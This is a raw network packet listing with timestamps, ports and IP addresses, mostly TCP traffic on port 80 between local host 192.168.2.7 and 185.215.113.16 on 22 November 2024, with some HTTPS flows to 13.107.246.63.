Nov 22, 2024 01:02:47.673082113 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.673285961 CET	49778	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:47.673310041 CET	443	49778	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:47.673837900 CET	49778	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:47.673844099 CET	443	49778	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:47.673949003 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.673964977 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.674004078 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.674410105 CET	49779	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:47.674451113 CET	443	49779	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:47.674515963 CET	49779	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:47.674671888 CET	49779	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:47.674685001 CET	443	49779	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:47.674837112 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.674967051 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.675021887 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.675791979 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.675887108 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.675925970 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.676776886 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.676795006 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.676835060 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.677675009 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.677788019 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.677825928 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.678653002 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.678870916 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.678914070 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.679584026 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.679682016 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.679722071 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.680505991 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.680612087 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.680650949 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.681421995 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.681541920 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.681581974 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.682034016 CET	443	49775	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:47.682157040 CET	443	49775	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:47.682210922 CET	49775	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:47.682271004 CET	49775	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:47.682295084 CET	443	49775	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:47.682307959 CET	49775	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:47.682315111 CET	443	49775	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:47.682353973 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.682466984 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.682507992 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.683324099 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.683434010 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.683478117 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.684247971 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.684381962 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.684432983 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.685205936 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.685338020 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.685374975 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.686127901 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.686249018 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.686290979 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.687076092 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.687189102 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.687241077 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.687700033 CET	49780	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:47.687736034 CET	443	49780	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:47.687798023 CET	49780	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:47.688018084 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.688112020 CET	49780	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:47.688129902 CET	443	49780	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:47.688139915 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.688179016 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.688947916 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.689079046 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.689121008 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.689909935 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.690001965 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.690048933 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.690821886 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.690963030 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.691036940 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.691798925 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.691910982 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.691956997 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.692718029 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.692822933 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.692863941 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.693669081 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.693692923 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.693731070 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.694613934 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.694730043 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.694767952 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.695548058 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.695636034 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.695671082 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.696464062 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.696577072 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.696616888 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.697434902 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.697563887 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.697604895 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.698374987 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.698493004 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.698542118 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.699292898 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.699403048 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.699440956 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.700263023 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.700434923 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.700470924 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.701253891 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.701411009 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.701466084 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.702151060 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.702291965 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.702328920 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.703120947 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.703152895 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.703193903 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.704041004 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.704082012 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.704121113 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.704937935 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.705050945 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.705095053 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.705874920 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.705982924 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.706022024 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.706828117 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.706943035 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.706985950 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.707775116 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.707853079 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.707894087 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.708733082 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.708859921 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.708901882 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.709719896 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.709908009 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.709945917 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.710628986 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.710721970 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.710776091 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.711532116 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.711642027 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.711678982 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.712486029 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.712579966 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.712619066 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.713417053 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.713485003 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.713530064 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.714040995 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.714364052 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.714483023 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.714525938 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.715426922 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.715611935 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.715652943 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.716207027 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.716367006 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.716412067 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.716454983 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.716914892 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.716960907 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.717009068 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.717875004 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.717921019 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.717957020 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.718792915 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.718842030 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.718878984 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:47.734713078 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:47.976382017 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.013475895 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.013653040 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.087897062 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.087915897 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.087928057 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.087944984 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.087955952 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.087966919 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.087976933 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.087987900 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088010073 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088020086 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088068962 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088079929 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088090897 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088099957 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088114023 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088124990 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088141918 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088149071 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088164091 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.088166952 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088164091 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.088164091 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.088179111 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088190079 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088195086 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.088200092 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088210106 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088217974 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088221073 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.088223934 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088233948 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088243961 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088253975 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088258982 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.088263988 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088274002 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088284016 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.088284969 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088314056 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.088316917 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088329077 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088340044 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088351011 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088357925 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.088361025 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088371992 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088382006 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088392973 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088392973 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.088403940 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088409901 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.088414907 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088426113 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088434935 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.088438034 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088457108 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.088463068 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088474989 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088476896 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.088485956 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088495970 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088499069 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.088506937 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088516951 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088530064 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088538885 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.088541031 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088551044 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088562012 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088572025 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088574886 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.088582993 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088602066 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.088609934 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088625908 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088634014 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.088637114 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088646889 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088648081 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.088658094 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088670015 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088679075 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.088691950 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088704109 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088710070 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.088713884 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088725090 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088733912 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.088737011 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088747025 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088757992 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.088759899 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088769913 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088782072 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088785887 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.088793039 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088804960 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.088807106 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088818073 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088829994 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088835001 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.088840008 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088855028 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088861942 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088862896 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.088869095 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088874102 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088876009 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088884115 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.088888884 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088900089 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088902950 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.088911057 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088921070 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.088922024 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088932991 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088938951 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.088944912 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088954926 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088962078 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088965893 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.088973045 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088979006 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.088999033 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.089018106 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.089080095 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.089095116 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.089138031 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.089310884 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.089322090 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.089332104 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.089343071 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.089354038 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.089358091 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.089365005 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.089376926 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.089391947 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.089402914 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.089413881 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.089425087 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.089427948 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.089438915 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.089448929 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.089448929 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.089472055 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.089473009 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.089481115 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.089488983 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.089531898 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.089664936 CET	443	49776	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:48.089682102 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.089696884 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.089732885 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.089741945 CET	443	49776	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:48.089747906 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.089756966 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.089759111 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.089768887 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.089780092 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.089791059 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.089801073 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.089807034 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:48.089812040 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:48.089813948 CET	49776	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:48.089823008 CET	80	49773	185.215.113.16	192.168.2.7
